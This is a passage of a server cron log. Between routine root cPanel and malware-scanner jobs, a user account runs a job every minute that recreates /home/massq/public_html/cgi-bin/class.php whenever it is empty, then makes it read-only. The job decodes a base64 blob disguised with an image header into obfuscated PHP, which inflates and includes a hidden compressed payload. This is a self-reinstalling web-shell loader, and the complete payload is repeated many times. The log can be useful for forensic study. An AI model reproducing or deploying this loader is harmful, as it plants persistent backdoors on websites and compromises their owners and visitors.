UoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:06:01 server CROND[16949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:07:01 server CROND[17052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:08:01 server CROND[17113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:09:01 server CROND[17180]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 23:09:01 server CROND[17181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:10:01 server CROND[17338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:10:01 server CROND[17337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 23:10:01 server CROND[17339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:10:01 server CROND[17340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:11:01 server CROND[17474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:12:01 server CROND[17540]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 23:12:01 server CROND[17541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:13:01 server CROND[17650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:14:01 server CROND[17708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:15:01 server CROND[17804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:15:01 server CROND[17805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:15:01 server CROND[17806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:16:01 server CROND[17951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:17:01 server CROND[18026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:18:01 server CROND[18182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:19:01 server CROND[18243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KC